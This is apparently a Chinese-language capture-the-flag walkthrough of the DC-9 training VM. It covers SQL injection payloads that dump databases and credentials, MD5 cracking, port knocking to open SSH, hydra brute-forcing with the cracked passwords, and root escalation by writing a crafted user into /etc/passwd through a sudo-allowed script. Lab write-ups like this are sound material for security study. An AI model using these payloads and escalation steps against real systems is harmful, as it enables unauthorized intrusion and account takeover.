007靶场-DC9(*)

📅 2026/7/24 21:05:27
007靶场-DC9(*)
下载到本地VMware配置好网络信息收集主机探测nmap -p- 192.168.115.0/24 -- 主机及端口号信息都探测出来只开了22和80开了80端口就直接访问另一边进行目录扫描:再无其它可用信息先告一段落漏洞突破点击菜单发现有一个记录页面一个搜索页面输入Jerry在列表页面会显示相关信息然后测试一下sql注入漏洞Jerry or 11 # --结果把所有的都返回了说明存在sql注入漏洞有5列数据先用Jerry order by 5 #-- 试试测试发现5,6有回显7就没回显了说明6个字段使用union Jerry union select 1,2,3,4,5,6 #--发现确实是6个字段然后探测数据库searchJerry union select database(),2,3,4,5,database() #--探测表名字使用老版火狐searchJerry union select (SELECT(x)FROM(SELECT(x:0x00),(NR:0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(x:CONCAT(x,LPAD(NR:NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x),2,3,4,5,6 #--发现有三张表StaffDetails、UsersUserDetails一张一张的看里面有啥当然了首先肯定先看用户名表Users查看列字段searchJerry union select (SELECT(x)FROM(SELECT(x:0x00),(NR:0),(SELECT(0)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME0x5573657273)AND(0x00)IN(x:concat(x,CONCAT(LPAD(NR:NR%2b1,2,0x30),0x3a20,column_name,0x3c62723e)))))x),2,3,4,5,6 #--继续探测字段值searchJerry union select (SELECT(x)FROM(SELECT(x:0x00) ,(SELECT(x)FROM(Users)WHERE(x)IN(x:CONCAT(0x20,x,UserID,Username,Password,0x3c62723e))))x),2,3,4,5,6 #--发现 1个用户admin 856f5de590ef37314e7c3bdf6f8a66dc32位的应该是md5密码也可以使用kail的hash-identifier识别一下在网上解密一下或者已经知道了用户名是admin然后bp抓包然后对常用密码爆破一下7w多个密码爆破没成功md5网站解密一下发现密码是transorbital1然后登录成功有这么个提示看看是否有文件包含漏洞然后查看etc下有一个knockd.conf敲门服务[options] UseSyslog [openSSH] sequence 7469,8475,9842 seq_timeout 25 command /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags syn [closeSSH] sequence 9842,8475,7469 seq_timeout 25 command /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags syn靶机的关门是这样配置的我们需要在kali下使用knock开一下们然后使用ssh远程连接knock 192.168.115.146 7469 8475 9842然后使用kali的ssh再连一下发现还是连不上陷入了死胡同思路不对重新从sql开始开始使用 searchJerry union select database(),2,3,4,5,database() 探测出来的是当前库并没有探测出所有的库换了一个新语句searchJerry union select group_concat(schema_name),2,database(),4,5,6 from information_schema.schemata #--,如下发现开始操作的都是Staff库这下又多出了一个users库对这个库分别看看有些什么数据查看表searchJerry union select group_concat(table_name),2,database(),4,5,6 from information_schema.tables where table_schemausers #--那会测试Staff里面也有个UserDetails字段是id、firstname、lastname、username、password、reg_date查数据时发现没有数据查看表里面的列searchJerry union select group_concat(column_name),2,database(),4,5,6 from information_schema.columns where table_schemausers and table_nameUserDetails #--发现有username和password查数据searchJerry union select group_concat(username,0x7e,password),2,database(),4,5,6 from users.UserDetails #--查到了用户和密码的一些信息然后分别放两个文件在kali中使用 hydra 对ssh进行爆破发现三组用户可以登录chandlerb UrAG0D!joeyt Passw0rdjanitor Ilovepeepee用这三个用户分别登录然后ls -al 查看信息查看发现是一个目录里面有一个放密码的文件把这些密码添加到刚才的密码文件继续用hydra 爆破发现多出来一个用登陆了的用户和密码fredfB4-Tru3-001使用ssh登录之后查看是否可以sudo提权其它几个用户提示这样的信息说明可以sudo提权这段python代码的意思是进行文件读写包括程序名在内的3个参数argv[0]是程序名argv[1]是要读取的文件argv[2]是要写入的文件拷贝一下/etc/passwd,然后在写入这个目录的test就是test.py编译后的可执行文件源文件可以写入成功说明打包后的test也具有写入功能首先我们利用openssl 生成一个我们自己的用户然后写入/etc/passwdlinux下/etc/passwd 存储的是‌用户名信息root:x:0:0:root:/root:/bin/bash用户名:密码占位符:UID:GID:描述:家目录:登录shell第二列是密码占位符通常为 x表示密码存储在 /etc/shadow使用openssl生成明文为admin的密码构建我们自己的用户信息openssl passwd -1 admin然后使用可以执行文件把这一条用户信息写入到/etc/passwd 然后切换到我们自己的用户admin提前成功思路梳理1、信息收集 发现 80和22端口目录扫描未发现可以利用的。2、页面访问发现sql注入漏洞以database()获取admin用户名和密码但是收集的信息不全需要获取到所有数据库的信息。3、有了用户名和密码尝试ssh登录(因为页面中登录之后啥也没有)。4、根据登录后页面的提示信息发现文件包含漏洞但是没有利用点5、探测出一个敲门服务敲门之后ssh才可以远程连接6、登录之后发现新密码使用hydra爆破ssh发现新用户和密码7、登录之后使用sudo提权找到python线索python脚本的意思是文件复制本地生成一个用户名和密码用python的复制功能复制到/etc/passwd里面提权成功